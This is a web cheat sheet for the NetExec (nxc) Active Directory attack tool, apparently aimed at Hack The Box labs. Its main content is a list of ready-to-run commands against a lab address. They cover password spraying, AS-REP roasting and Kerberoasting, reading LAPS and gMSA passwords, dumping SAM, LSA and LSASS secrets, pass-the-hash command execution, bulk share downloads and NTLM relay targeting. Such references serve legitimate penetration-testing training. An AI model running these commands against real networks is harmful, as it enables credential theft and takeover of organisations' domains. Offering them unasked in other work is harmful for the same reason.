NetExec (nxc)

NetExec (nxc) is the Active Directory swiss army knife: it validates credentials against many hosts at once, flags with (Pwn3d!) where you are admin, enumerates users and shares, and has modules to dump LSASS, read LAPS or gMSA and collect BloodHound data.

Platform
Linux (Python)
Official site
github.com/Pennyw0rth/NetExec
On HTB
40 machines
Install
pipx install git+https://github.com/Pennyw0rth/NetExec

NetExec (nxc) cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
22 commands

Enumeration

Password policy (before spraying)
nxc smb 10.10.11.20 -u usuario -p 'Password123!' --pass-pol
Domain groups
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --groups
Download everything readable from the shares
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M spider_plus -o DOWNLOAD_FLAG=True

Kerberos and credentials

AS-REP roasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt
Kerberoasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --kerberoasting kerberoast.txt
GPP passwords in SYSVOL
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M gpp_password
Read LAPS
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M laps
Read gMSA passwords
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --gmsa

As an administrator

SAM and LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsa
LSASS with lsassy
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -M lsassy
Run a command
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -x whoami
Commands on MSSQL
nxc mssql 10.10.11.20 -u usuario -p 'Password123!' -x whoami

In our cheatsheets

Windows and Active Directory privilege escalation › Active Directory

Domain and DC name
netexec smb 10.10.11.20
Users by RID (guest session)
netexec smb 10.10.11.20 -u guest -p '' --rid-brute
Check credentials and access
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'
Domain users
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --users
Password spraying
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success

Active Directory in depth › BloodHound

With NetExec, nothing else to install Attacker
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20

Active Directory in depth › ADCS (ESC1–16)

Enumerate the CA with NetExec Attacker
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs

Active Directory in depth › NTLM relay

Hosts without required SMB signing Attacker
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt

Nmap and service enumeration › Services

With netexec (null and guest session)
netexec smb 10.10.11.20 -u '' -p '' --shares
netexec smb 10.10.11.20 -u 'guest' -p '' --shares
With credentials
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --shares

HTB machines where NetExec (nxc) is used

Taken from the chapters of IppSec videos where NetExec (nxc) shows up. The ▶ link jumps to the minute of that part.

Guides that use NetExec (nxc)